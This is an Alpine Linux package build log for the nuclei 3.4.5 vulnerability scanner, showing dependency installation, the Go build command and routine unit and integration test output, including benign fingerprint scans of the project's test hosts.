>>> nuclei: Building testing/nuclei 3.4.5-r0 (using abuild 3.15.0-r1) started Sat, 21 Jun 2025 19:44:39 +0000 >>> nuclei: Validating /home/buildozer/aports/testing/nuclei/APKBUILD... >>> nuclei: Analyzing dependencies... >>> nuclei: Installing for build: build-base go chromium (1/168) Installing go (1.24.4-r0) (2/168) Installing libbz2 (1.0.8-r6) (3/168) Installing libpng (1.6.49-r0) (4/168) Installing freetype (2.13.3-r0) (5/168) Installing fontconfig (2.15.0-r3) (6/168) Installing libfontenc (1.1.8-r0) (7/168) Installing mkfontscale (1.2.3-r1) (8/168) Installing font-opensans (0_git20210927-r1) (9/168) Installing libffi (3.5.1-r0) (10/168) Installing libintl (0.24.1-r0) (11/168) Installing libeconf (0.7.9-r0) (12/168) Installing libblkid (2.41-r9) (13/168) Installing libmount (2.41-r9) (14/168) Installing glib (2.84.3-r0) (15/168) Installing gobject-introspection (1.84.0-r0) (16/168) Installing hicolor-icon-theme (0.18-r0) (17/168) Installing xz-libs (5.8.1-r0) (18/168) Installing libxml2 (2.13.8-r0) (19/168) Installing shared-mime-info (2.4-r6) (20/168) Installing libjpeg-turbo (3.1.1-r0) (21/168) Installing libsharpyuv (1.5.0-r0) (22/168) Installing libwebp (1.5.0-r0) (23/168) Installing tiff (4.7.0-r0) (24/168) Installing gdk-pixbuf (2.42.12-r1) (25/168) Installing gtk-update-icon-cache (3.24.49-r2) (26/168) Installing libxau (1.0.12-r0) (27/168) Installing libmd (1.1.0-r0) (28/168) Installing libbsd (0.12.2-r0) (29/168) Installing libxdmcp (1.1.5-r1) (30/168) Installing libxcb (1.17.0-r0) (31/168) Installing libx11 (1.8.11-r0) (32/168) Installing libxcomposite (0.4.6-r5) (33/168) Installing libxfixes (6.0.1-r4) (34/168) Installing libxrender (0.9.12-r0) (35/168) Installing libxcursor (1.2.3-r0) (36/168) Installing libxdamage (1.1.6-r5) (37/168) Installing libxext (1.3.6-r2) (38/168) Installing libxi (1.8.2-r0) (39/168) Installing libxinerama (1.1.5-r4) (40/168) Installing libxrandr (1.5.4-r1) (41/168) Installing libatk-1.0 (2.56.2-r0) (42/168) Installing dbus-libs (1.16.2-r1) (43/168) Installing at-spi2-core-libs (2.56.2-r0) (44/168) Installing libxtst (1.2.5-r0) (45/168) Installing at-spi2-core (2.56.2-r0) (46/168) Installing libatk-bridge-2.0 (2.56.2-r0) (47/168) Installing pixman (0.46.2-r0) (48/168) Installing cairo (1.18.4-r0) (49/168) Installing cairo-gobject (1.18.4-r0) (50/168) Installing avahi-libs (0.8-r20) (51/168) Installing nettle (3.10.1-r0) (52/168) Installing libtasn1 (4.20.0-r0) (53/168) Installing p11-kit (0.25.5-r2) (54/168) Installing gnutls (3.8.8-r0) (55/168) Installing cups-libs (2.4.11-r0) (56/168) Installing libepoxy (1.5.10-r1) (57/168) Installing fribidi (1.0.16-r1) (58/168) Installing graphite2 (1.3.14-r6) (59/168) Installing harfbuzz (11.2.1-r0) (60/168) Installing libxft (2.3.8-r3) (61/168) Installing pango (1.56.3-r0) (62/168) Installing wayland-libs-client (1.23.1-r3) (63/168) Installing wayland-libs-cursor (1.23.1-r3) (64/168) Installing wayland-libs-egl (1.23.1-r3) (65/168) Installing xkeyboard-config (2.43-r0) (66/168) Installing libxkbcommon (1.8.1-r2) (67/168) Installing gtk+3.0 (3.24.49-r2) (68/168) Installing icu-data-full (76.1-r0) (69/168) Installing llvm20-libs (20.1.7-r0) (70/168) Installing spirv-tools (1.4.313.0-r0) (71/168) Installing hwdata-pci (0.396-r0) (72/168) Installing libpciaccess (0.18.1-r1) (73/168) Installing libdrm (2.4.125-r0) (74/168) Installing libelf (0.193-r0) (75/168) Installing wayland-libs-server (1.23.1-r3) (76/168) Installing libxshmfence (1.3.3-r0) (77/168) Installing mesa (25.1.4-r0) (78/168) Installing mesa-gbm (25.1.4-r0) (79/168) Installing mesa-dri-gallium (25.1.4-r0) (80/168) Installing eudev-libs (3.2.14-r5) (81/168) Installing xprop (1.2.8-r0) (82/168) Installing libice (1.1.2-r0) (83/168) Installing libuuid (2.41-r9) (84/168) Installing libsm (1.2.5-r0) (85/168) Installing libxt (1.3.1-r0) (86/168) Installing libxmu (1.2.1-r0) (87/168) Installing xset (1.2.5-r1) (88/168) Installing xdg-utils (1.2.1-r1) (89/168) Installing libogg (1.3.5-r5) (90/168) Installing libflac (1.4.3-r1) (91/168) Installing alsa-lib (1.2.14-r0) (92/168) Installing libSvtAv1Enc (2.3.0-r0) (93/168) Installing aom-libs (3.12.1-r0) (94/168) Installing libva (2.22.0-r1) (95/168) Installing libvdpau (1.5-r4) (96/168) Installing onevpl-libs (2023.3.1-r2) (97/168) Installing ffmpeg-libavutil (6.1.2-r4) (98/168) Installing libdav1d (1.5.1-r0) (99/168) Installing openexr-libiex (3.3.2-r0) (100/168) Installing openexr-libilmthread (3.3.2-r0) (101/168) Installing imath (3.1.12-r0) (102/168) Installing libdeflate (1.24-r0) (103/168) Installing openexr-libopenexrcore (3.3.2-r0) (104/168) Installing openexr-libopenexr (3.3.2-r0) (105/168) Installing giflib (5.2.2-r1) (106/168) Installing libhwy (1.0.7-r1) (107/168) Installing lcms2 (2.16-r0) (108/168) Installing libjxl (0.10.3-r2) (109/168) Installing lame-libs (3.100-r5) (110/168) Installing opus (1.5.2-r1) (111/168) Installing rav1e-libs (0.8.0-r0) (112/168) Installing soxr (0.1.3-r7) (113/168) Installing ffmpeg-libswresample (6.1.2-r4) (114/168) Installing libtheora (1.1.1-r18) (115/168) Installing libvorbis (1.3.7-r2) (116/168) Installing libvpx (1.15.1-r1) (117/168) Installing libwebpmux (1.5.0-r0) (118/168) Installing x264-libs (0.164.3108-r0) (119/168) Installing numactl (2.0.18-r0) (120/168) Installing x265-libs (3.6-r0) (121/168) Installing xvidcore (1.3.7-r2) (122/168) Installing ffmpeg-libavcodec (6.1.2-r4) (123/168) Installing libbluray (1.3.4-r1) (124/168) Installing mpg123-libs (1.32.10-r0) (125/168) Installing libopenmpt (0.8.1-r0) (126/168) Installing mbedtls (3.6.3.1-r0) (127/168) Installing librist (0.2.10-r1) (128/168) Installing libsrt (1.5.3-r1) (129/168) Installing libssh (0.11.1-r0) (130/168) Installing libsodium (1.0.20-r0) (131/168) Installing libzmq (4.3.5-r2) (132/168) Installing ffmpeg-libavformat (6.1.2-r4) (133/168) Installing crc32c (1.1.2-r2) (134/168) Installing double-conversion (3.3.1-r0) (135/168) Installing harfbuzz-subset (11.2.1-r0) (136/168) Installing minizip (1.3.1-r0) (137/168) Installing nspr (4.36-r0) (138/168) Installing sqlite-libs (3.50.1-r0) (139/168) Installing nss (3.113-r0) (140/168) Installing openh264 (2.6.0-r0) (141/168) Installing libcamera-ipa (0.5.1-r0) (142/168) Installing libunwind (1.8.1-r0) (143/168) Installing yaml (0.2.5-r2) (144/168) Installing libcamera (0.5.1-r0) (145/168) Installing serd-libs (0.32.4-r0) (146/168) Installing zix-libs (0.6.2-r0) (147/168) Installing sord-libs (0.16.18-r0) (148/168) Installing sratom (0.6.18-r0) (149/168) Installing lilv-libs (0.24.26-r0) (150/168) Installing speexdsp (1.2.1-r2) (151/168) Installing libuv (1.51.0-r0) (152/168) Installing roc-toolkit-libs (0.4.0-r1) (153/168) Installing libsndfile (1.2.2-r2) (154/168) Installing abseil-cpp-raw-logging-internal (20240722.1-r1) (155/168) Installing abseil-cpp-strings-internal (20240722.1-r1) (156/168) Installing abseil-cpp-strings (20240722.1-r1) (157/168) Installing webrtc-audio-processing-2 (2.1-r0) (158/168) Installing pipewire-libs (1.4.5-r0) (159/168) Installing libasyncns (0.8-r4) (160/168) Installing libltdl (2.5.4-r1) (161/168) Installing orc (0.4.40-r1) (162/168) Installing tdb-libs (1.4.12-r0) (163/168) Installing libpulse (17.0-r5) (164/168) Installing simdutf (7.2.1-r0) (165/168) Installing libwebpdemux (1.5.0-r0) (166/168) Installing libxslt (1.1.43-r3) (167/168) Installing chromium (137.0.7151.103-r0) (168/168) Installing .makedepends-nuclei (20250621.194441) Executing busybox-1.37.0-r18.trigger Executing fontconfig-2.15.0-r3.trigger Executing mkfontscale-1.2.3-r1.trigger Executing glib-2.84.3-r0.trigger Executing shared-mime-info-2.4-r6.trigger Executing gdk-pixbuf-2.42.12-r1.trigger Executing gtk-update-icon-cache-3.24.49-r2.trigger Executing gtk+3.0-3.24.49-r2.trigger OK: 1346 MiB in 274 packages >>> nuclei: Cleaning up srcdir >>> nuclei: Cleaning up pkgdir >>> nuclei: Cleaning up tmpdir >>> nuclei: Fetching https://distfiles.alpinelinux.org/distfiles/edge/nuclei-3.4.5.tar.gz >>> nuclei: Fetching https://distfiles.alpinelinux.org/distfiles/edge/nuclei-3.4.5.tar.gz >>> nuclei: Checking sha512sums... nuclei-3.4.5.tar.gz: OK >>> nuclei: Unpacking /var/cache/distfiles/edge/nuclei-3.4.5.tar.gz... rm -f './bin/nuclei' 2>/dev/null CGO_ENABLED=0 go build -trimpath -v -pgo=auto -ldflags '-s -w -extldflags "-static"' \ -o './bin/nuclei' cmd/nuclei/main.go go test -race -v ./... ? github.com/projectdiscovery/nuclei/v3/cmd/docgen [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/functional-test [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/generate-checksum [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/integration-test [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/memogen [no test files] testing: warning: no tests to run PASS ok github.com/projectdiscovery/nuclei/v3/cmd/nuclei (cached) [no tests to run] ? github.com/projectdiscovery/nuclei/v3/cmd/scan-charts [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tmc [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tools/fuzzplayground [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tools/signer [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/advanced [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/simple [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/with_speed_control [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/colorizer [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/httpapi [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/pdcp [no test files] === RUN TestParseHeadlessOptionalArguments === RUN TestParseHeadlessOptionalArguments/single_value === RUN TestParseHeadlessOptionalArguments/empty_string === RUN TestParseHeadlessOptionalArguments/empty_key === RUN TestParseHeadlessOptionalArguments/empty_value === RUN TestParseHeadlessOptionalArguments/double_input === RUN TestParseHeadlessOptionalArguments/duplicated_input --- PASS: TestParseHeadlessOptionalArguments (0.00s) --- PASS: TestParseHeadlessOptionalArguments/single_value (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_string (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_key (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_value (0.00s) --- PASS: TestParseHeadlessOptionalArguments/double_input (0.00s) --- PASS: TestParseHeadlessOptionalArguments/duplicated_input (0.00s) === RUN TestCreateReportingOptions --- PASS: TestCreateReportingOptions (0.00s) === RUN TestWalkReflectStructAssignsEnvVars --- PASS: TestWalkReflectStructAssignsEnvVars (0.00s) === RUN TestWalkReflectStructHandlesDifferentTypes --- PASS: TestWalkReflectStructHandlesDifferentTypes (0.00s) === RUN TestWalkReflectStructEmpty --- PASS: TestWalkReflectStructEmpty (0.00s) === RUN TestWalkReflectStructWithNoYamlTag --- PASS: TestWalkReflectStructWithNoYamlTag (0.00s) === RUN TestWalkReflectStructHandlesNestedStructs --- PASS: TestWalkReflectStructHandlesNestedStructs (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/internal/runner (cached) ? github.com/projectdiscovery/nuclei/v3/internal/server [no test files] === RUN TestManagerValidate === RUN TestManagerValidate/url --- PASS: TestManagerValidate (0.00s) --- PASS: TestManagerValidate/url (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/internal/server/scope (cached) ? github.com/projectdiscovery/nuclei/v3/lib [no test files] === RUN TestSimpleNuclei [ERR] Could not read nuclei-ignore file: open /home/buildozer/.config/nuclei/.nuclei-ignore: no such file or directory [INF] nuclei-templates are not installed, installing... [INF] Successfully installed nuclei-templates at /home/buildozer/nuclei-templates [INF] Templates clustered: 13 (Reduced 9 Requests) [caa-fingerprint] scanme.sh [nameserver-fingerprint] scanme.sh {"duration":"0:00:00","errors":"1","hosts":"1","matched":"2","percent":"100","requests":"13","rps":"42","startedAt":"2025-06-21T19:41:59.187294983Z","templates":"20","total":"13"} --- PASS: TestSimpleNuclei (62.73s) === RUN TestSimpleNucleiRemote [nameserver-fingerprint] scanme.sh --- PASS: TestSimpleNucleiRemote (3.05s) === RUN TestThreadSafeNuclei === RUN TestThreadSafeNuclei/scanme.sh [INF] Templates clustered: 14 (Reduced 10 Requests) [caa-fingerprint] scanme.sh [nameserver-fingerprint] scanme.sh === RUN TestThreadSafeNuclei/honey.scanme.sh [INF] Templates clustered: 14 (Reduced 10 Requests) [caa-fingerprint] honey.scanme.sh --- PASS: TestThreadSafeNuclei (11.86s) --- PASS: TestThreadSafeNuclei/scanme.sh (8.41s) --- PASS: TestThreadSafeNuclei/honey.scanme.sh (0.72s) === RUN TestWithVarsNuclei [INF] [api-1forge] Dumped HTTP request for https://api.1forge.com/quota?api_key=foobar GET /quota?api_key=foobar HTTP/1.1 Host: api.1forge.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Connection: close Accept: */* Accept-Language: en Accept-Encoding: gzip [DBG] [api-1forge] Dumped HTTP response https://api.1forge.com/quota?api_key=foobar HTTP/1.1 200 OK Connection: close Content-Length: 152 Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Sat, 21 Jun 2025 19:42:17 GMT Etag: W/"98-q+UQe5s2fZxMoUf5NOlCME3auFk" Server: nginx/1.22.0 X-Powered-By: Express {"error":true,"message":"API Key Not Valid. Please go to 1forge.com to get an API key. If you have any questions please email us at contact@1forge.com"} --- PASS: TestWithVarsNuclei (3.46s) PASS ok github.com/projectdiscovery/nuclei/v3/lib/tests (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/authprovider [no test files] === RUN TestDynamicUnmarshalJSON === RUN TestDynamicUnmarshalJSON/basic-unmarshal === RUN TestDynamicUnmarshalJSON/complex-unmarshal === RUN TestDynamicUnmarshalJSON/invalid-json === RUN TestDynamicUnmarshalJSON/empty-json --- PASS: TestDynamicUnmarshalJSON (0.00s) --- PASS: TestDynamicUnmarshalJSON/basic-unmarshal (0.00s) --- PASS: TestDynamicUnmarshalJSON/complex-unmarshal (0.00s) --- PASS: TestDynamicUnmarshalJSON/invalid-json (0.00s) --- PASS: TestDynamicUnmarshalJSON/empty-json (0.00s) === RUN TestSecretsUnmarshal --- PASS: TestSecretsUnmarshal (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/catalog [no test files] === RUN TestCatalog_GetTemplatePath === RUN TestCatalog_GetTemplatePath/get_all_ssl_files === RUN TestCatalog_GetTemplatePath/get_all_ssl_files_with_wildcard === RUN TestCatalog_GetTemplatePath/non-matching_target --- PASS: TestCatalog_GetTemplatePath (0.00s) --- PASS: TestCatalog_GetTemplatePath/get_all_ssl_files (0.00s) --- PASS: TestCatalog_GetTemplatePath/get_all_ssl_files_with_wildcard (0.00s) --- PASS: TestCatalog_GetTemplatePath/non-matching_target (0.00s) === RUN TestCatalog_GetTemplatesPath === RUN TestCatalog_GetTemplatesPath/without_definitions === RUN TestCatalog_GetTemplatesPath/with_definitions --- PASS: TestCatalog_GetTemplatesPath (0.00s) --- PASS: TestCatalog_GetTemplatesPath/without_definitions (0.00s) --- PASS: TestCatalog_GetTemplatesPath/with_definitions (0.00s) === RUN TestCatalog_OpenFile === RUN TestCatalog_OpenFile/valid_key === RUN TestCatalog_OpenFile/nonexistent_key === RUN TestCatalog_OpenFile/path_to_folder --- PASS: TestCatalog_OpenFile (0.00s) --- PASS: TestCatalog_OpenFile/valid_key (0.00s) --- PASS: TestCatalog_OpenFile/nonexistent_key (0.00s) --- PASS: TestCatalog_OpenFile/path_to_folder (0.00s) === RUN TestCatalog_ResolvePath === RUN TestCatalog_ResolvePath/absolute_path === RUN TestCatalog_ResolvePath/relative_path_with_second_param === RUN TestCatalog_ResolvePath/relative_path_and_no_second_param --- PASS: TestCatalog_ResolvePath (0.00s) --- PASS: TestCatalog_ResolvePath/absolute_path (0.00s) --- PASS: TestCatalog_ResolvePath/relative_path_with_second_param (0.00s) --- PASS: TestCatalog_ResolvePath/relative_path_and_no_second_param (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/catalog/aws (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/config [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk [no test files] === RUN TestLoadTemplates === RUN TestLoadTemplates/blank === RUN TestLoadTemplates/only-tags === RUN TestLoadTemplates/tags-with-path --- PASS: TestLoadTemplates (0.00s) --- PASS: TestLoadTemplates/blank (0.00s) --- PASS: TestLoadTemplates/only-tags (0.00s) --- PASS: TestLoadTemplates/tags-with-path (0.00s) === RUN TestRemoteTemplates === RUN TestRemoteTemplates/remote-templates-positive === RUN TestRemoteTemplates/remote-templates-negative --- PASS: TestRemoteTemplates (0.00s) --- PASS: TestRemoteTemplates/remote-templates-positive (0.00s) --- PASS: TestRemoteTemplates/remote-templates-negative (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader/filter [no test files] === RUN TestWorkflowsSimple --- PASS: TestWorkflowsSimple (0.00s) === RUN TestWorkflowsSimpleMultiple --- PASS: TestWorkflowsSimpleMultiple (0.00s) === RUN TestWorkflowsSubtemplates --- PASS: TestWorkflowsSubtemplates (0.00s) === RUN TestWorkflowsSubtemplatesNoMatch --- PASS: TestWorkflowsSubtemplatesNoMatch (0.00s) === RUN TestWorkflowsSubtemplatesWithMatcher --- PASS: TestWorkflowsSubtemplatesWithMatcher (0.00s) === RUN TestWorkflowsSubtemplatesWithMatcherNoMatch --- PASS: TestWorkflowsSubtemplatesWithMatcherNoMatch (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/core (cached) === RUN TestDownloadCustomTemplatesFromGitHub --- PASS: TestDownloadCustomTemplatesFromGitHub (0.80s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates (cached) === RUN TestRuleMatchKeyOrValue === RUN TestRuleMatchKeyOrValue/key === RUN TestRuleMatchKeyOrValue/value --- PASS: TestRuleMatchKeyOrValue (0.00s) --- PASS: TestRuleMatchKeyOrValue/key (0.00s) --- PASS: TestRuleMatchKeyOrValue/value (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers [no test files] === RUN TestPerfectLinear --- PASS: TestPerfectLinear (0.06s) === RUN TestNoCorrelation --- PASS: TestNoCorrelation (0.01s) === RUN TestNoisyLinear --- PASS: TestNoisyLinear (0.10s) === RUN TestMinimalData --- PASS: TestMinimalData (0.02s) === RUN TestPerfectLinearSlopeOne_NoNoise --- PASS: TestPerfectLinearSlopeOne_NoNoise (0.10s) === RUN TestPerfectLinearSlopeTwo_NoNoise --- PASS: TestPerfectLinearSlopeTwo_NoNoise (0.10s) === RUN TestLinearWithNoise --- PASS: TestLinearWithNoise (0.12s) === RUN TestNoCorrelationHighBaseline --- PASS: TestNoCorrelationHighBaseline (0.01s) === RUN TestNegativeSlopeScenario --- PASS: TestNegativeSlopeScenario (0.01s) === RUN TestLargeNumberOfRequests --- PASS: TestLargeNumberOfRequests (0.20s) === RUN TestHighBaselineLowSlope --- PASS: TestHighBaselineLowSlope (0.10s) === RUN TestHighNoiseConcealsSlope --- PASS: TestHighNoiseConcealsSlope (0.02s) === RUN TestAlternatingSequences --- PASS: TestAlternatingSequences (0.00s) === RUN TestNonInjectableQuickFail --- PASS: TestNonInjectableQuickFail (0.00s) === RUN TestSlowNonInjectableCase --- PASS: TestSlowNonInjectableCase (0.00s) === RUN TestRealWorldNonInjectableCase --- PASS: TestRealWorldNonInjectableCase (0.00s) === RUN TestSmallErrorDependence --- PASS: TestSmallErrorDependence (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/time (cached) === RUN TestBodyComponent --- PASS: TestBodyComponent (0.00s) === RUN TestBodyXMLComponent --- PASS: TestBodyXMLComponent (0.00s) === RUN TestBodyFormComponent --- PASS: TestBodyFormComponent (0.00s) === RUN TestMultiPartFormComponent --- PASS: TestMultiPartFormComponent (0.00s) === RUN TestCookieComponent --- PASS: TestCookieComponent (0.00s) === RUN TestHeaderComponent --- PASS: TestHeaderComponent (0.00s) === RUN TestURLComponent --- PASS: TestURLComponent (0.00s) === RUN TestURLComponent_NestedPaths --- PASS: TestURLComponent_NestedPaths (0.00s) === RUN TestQueryComponent --- PASS: TestQueryComponent (0.00s) === RUN TestFlatMap_FlattenUnflatten --- PASS: TestFlatMap_FlattenUnflatten (0.00s) === RUN TestAnySlice --- PASS: TestAnySlice (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component (cached) === RUN TestDataformatDecodeEncode_JSON --- PASS: TestDataformatDecodeEncode_JSON (0.00s) === RUN TestDataformatDecodeEncode_XML --- PASS: TestDataformatDecodeEncode_XML (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency [no test files] === RUN Test_NewStatsDatabase --- PASS: Test_NewStatsDatabase (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats (cached) === RUN TestConvertInputToType --- PASS: TestConvertInputToType (0.34s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/input/formats [no test files] === RUN TestBurpParse --- PASS: TestBurpParse (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/burp (cached) === RUN TestJSONFormatterParse --- PASS: TestJSONFormatterParse (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/json (cached) === RUN TestOpenAPIParser --- PASS: TestOpenAPIParser (0.08s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi (cached) === RUN TestSwaggerAPIParser --- PASS: TestSwaggerAPIParser (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger (cached) === RUN TestYamlFormatterParse --- PASS: TestYamlFormatterParse (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/yaml (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/input/provider [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http [no test files] === RUN Test_expandCIDR --- PASS: Test_expandCIDR (0.64s) === RUN Test_scanallips_normalizeStoreInputValue --- PASS: Test_scanallips_normalizeStoreInputValue (3.44s) === RUN Test_expandASNInputValue hmap_test.go:161: Skipping asnmap test as pdcp keys are not present --- SKIP: Test_expandASNInputValue (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/provider/list (cached) === RUN TestParseHttpRequest === RUN TestParseHttpRequest/GET_Request http_test.go:64: {GET {[User-Agent X-Test Accept-Encoding] map[Accept-Encoding:gzip User-Agent:Go-http-client/1.1 X-Test:test] false false} GET / HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 X-Test: test Accept-Encoding: gzip } === RUN TestParseHttpRequest/POST_Request_with_body http_test.go:64: {POST {[User-Agent Content-Length Content-Type Accept-Encoding] map[Accept-Encoding:gzip Content-Length:15 Content-Type:application/json User-Agent:Go-http-client/1.1] false false} {"key":"value"} POST /resource HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 Content-Length: 15 Content-Type: application/json Accept-Encoding: gzip {"key":"value"}} === RUN TestParseHttpRequest/PUT_Request_with_body http_test.go:64: {PUT {[User-Agent Content-Length Content-Type Accept-Encoding] map[Accept-Encoding:gzip Content-Length:11 Content-Type:text/plain User-Agent:Go-http-client/1.1] false false} update data PUT /update HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 Content-Length: 11 Content-Type: text/plain Accept-Encoding: gzip update data} === RUN TestParseHttpRequest/DELETE_Request http_test.go:64: {DELETE {[User-Agent X-User Accept-Encoding] map[Accept-Encoding:gzip User-Agent:Go-http-client/1.1 X-User:user1] false false} DELETE /delete HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 X-User: user1 Accept-Encoding: gzip } --- PASS: TestParseHttpRequest (0.00s) --- PASS: TestParseHttpRequest/GET_Request (0.00s) --- PASS: TestParseHttpRequest/POST_Request_with_body (0.00s) --- PASS: TestParseHttpRequest/PUT_Request_with_body (0.00s) --- PASS: TestParseHttpRequest/DELETE_Request (0.00s) === RUN TestUnmarshalJSON === RUN TestUnmarshalJSON/basic_url === RUN TestUnmarshalJSON/basic_url_with_scheme --- PASS: TestUnmarshalJSON (0.00s) --- PASS: TestUnmarshalJSON/basic_url (0.00s) --- PASS: TestUnmarshalJSON/basic_url_with_scheme (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/types (cached) === RUN TestTemplateInstallation [INF] nuclei-templates are not installed, installing... [INF] Successfully installed nuclei-templates at /tmp/nuclei-templates-2888326003/templates template_test.go:58: Installed 11103 templates --- PASS: TestTemplateInstallation (51.57s) === RUN TestVersionCheck --- PASS: TestVersionCheck (0.36s) === RUN TestZipSlip === RUN TestZipSlip/negative_scenarios --- PASS: TestZipSlip (0.00s) --- PASS: TestZipSlip/negative_scenarios (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/installer (cached) === RUN TestNewCompilerConsoleDebug --- PASS: TestNewCompilerConsoleDebug (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/js/compiler (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen/cmd/bindgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/scrapefuncs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen/cmd/tsgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libbytes [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libfs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libgoconsole [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libikev2 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkerberos [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libldap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmssql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmysql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/liboracle [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpop3 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpostgres [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librdp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libredis [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librsync [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmb [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmtp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libssh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libstructs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libtelnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libvnc [no test files] === RUN TestScriptsRuntime 2025/06/21 19:41:10 { "a": 1, "b": 2 } --- PASS: TestScriptsRuntime (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/js/global (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/js/gojs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/bytes [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/fs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/goconsole [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ikev2 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/kerberos [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ldap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mssql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mysql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/net [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/oracle [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/pop3 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/postgres [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rdp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/redis [no 